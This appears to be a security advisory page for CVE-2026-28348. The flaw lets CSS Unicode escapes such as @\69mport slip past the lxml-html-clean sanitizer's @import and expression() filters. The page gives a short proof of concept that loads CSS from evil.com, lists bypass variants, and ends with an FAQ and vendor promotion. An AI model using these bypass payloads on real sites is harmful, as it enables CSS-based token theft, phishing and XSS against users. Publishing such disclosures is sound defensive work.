CVE-2026-28348

The _has_sneaky_javascript() method strips backslashes before checking for dangerous CSS keywords. This causes CSS Unicode escape sequences to bypass the @import and expression() filters, allowing external CSS loading or XSS in older browsers.

Details

The root cause is located in clean.py (around line 594):

style = style.replace('\\', '')

This transformation changes a payload like @\69mport into @69mport. This resulting string does NOT match the blacklist keyword @import. However, all modern browsers' CSS parsers decode \69 as the character 'i' (hex 69) according to CSS spec section 4.3.7, interpreting @\69mport as a valid @import statement.

Same root cause bypasses expression() detection: \65xpression(alert(1)) passes through (IE only).

PoC

from lxml_html_clean import clean_html

# Normal @import is correctly blocked:
# clean_html('<style>@import url("http://evil.com/x.css");</style>')
# Output: <div><style> url("http://evil.com/x.css");</style></div>

# Unicode escape bypass:
result = clean_html('<style>@\\69mport url("http://evil.com/x.css");</style>')
print(result)
# Output: <div><style>@\69mport url("http://evil.com/x.css");</style></div>

If rendered in a browser, the browser loads the external CSS. Variants like @\0069mport, @\69 mport (trailing space), and @\49mport (uppercase I) also work.

External CSS loading enables data exfiltration via attribute selectors (e.g., reading CSRF tokens), UI redressing, and phishing. In older browsers (IE), this allows for full XSS via expression().

CVE-2026-28348 has a CVSS score of 6.1 (Medium). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.4.4); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-28348? CVE-2026-28348 is a medium-severity security vulnerability in lxml-html-clean (pip), affecting versions <= 0.4.3. It is fixed in 0.4.4.
2. How severe is CVE-2026-28348? CVE-2026-28348 has a CVSS score of 6.1 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of lxml-html-clean are affected by CVE-2026-28348? lxml-html-clean (pip) versions <= 0.4.3 is affected.
4. Is there a fix for CVE-2026-28348? Yes. CVE-2026-28348 is fixed in 0.4.4. Upgrade to this version or later.
5. Is CVE-2026-28348 exploitable, and should I be worried? Whether CVE-2026-28348 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-28348 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-28348? Upgrade lxml-html-clean to 0.4.4 or later.